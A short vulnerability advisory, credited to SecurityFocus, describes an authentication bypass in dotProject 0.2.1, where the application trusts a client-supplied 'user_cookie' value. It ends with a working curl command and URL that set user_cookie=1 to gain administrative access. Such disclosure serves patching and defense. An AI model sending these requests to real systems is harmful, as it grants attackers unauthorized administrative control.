dotProject 0.2.1 - User Cookie Authentication Bypass

                source: http://www.securityfocus.com/bid/5347/info

dotproject is prone to an issue which may allow remote attackers to bypass authentication and gain administrative access to the software. 

This may be accomplished by submitting a maliciously crafted 'user_cookie' value either manually or via manipulation of URI parameters.

This problem is due to the software relying on the user 'cookie_value' to authenticate the user.

curl -b user_cookie=1 http://server/project/index.php?m=projects

or 

http://server/project/index.php?m=projects&user_cookie=1
